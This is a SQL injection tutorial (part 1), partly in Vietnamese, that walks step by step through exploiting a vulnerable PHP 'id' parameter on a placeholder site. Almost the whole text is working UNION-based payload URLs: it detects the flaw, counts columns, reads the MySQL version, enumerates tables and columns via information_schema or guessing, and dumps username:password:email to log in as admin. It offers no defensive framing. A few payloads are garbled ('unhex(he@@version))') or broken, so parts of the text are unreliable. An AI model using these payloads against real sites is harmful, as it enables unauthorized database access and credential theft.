SQL injection - phần 1

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Basic
1). Check for vulnerability - Kiếm link lỗi

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote), and that would be

http://www.site.com/news.php?id=5'

Sổ lỗi

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection 

2). Find the number of columns

SD order by

http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error 

we get message like this Unknown column '4' in 'order clause' or something like that, that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement. so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* 

(we already found that number of columns are 3 in section 2)

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* 

NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this

http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it 
what we need is convert() function

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with he) and unhe)

http://www.site.com/news.php?id=5 union all select 1,unhex(he@@version)),3/*

and you will get MySQL version 

5a). Getting table and column name for MySQL version is < 5 (i.e 4.1.33, 4.1.12...)

For This, we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* 

(we see number 2 on the screen like before, and that's good )

If we know that table admin exists...

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* 

(if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* 

(if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 
i.e md5 hash, mysql hash, sha1...now we must complete query to look nice  for that we can use concat() function (it joins strings)

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash. when you have this, you can login like admin or some superuser . if can't guess the right table name, you can always try mysql.user (default). it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

5b). Getting table and column name for MySQL version is > 5

For this we need information_schema. It holds all tables and columns in database. To get tables we use table_name and information_schema.tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th). now to view the second table, we change limit 0,1 to limit 1,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed. for third table we put limit 2,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... 
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed. the second one (we change limit 0,1 to limit 1,1)

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc... 
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email.

now to complete query to put them all together  for that we use concat() , i decribe it earlier.

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

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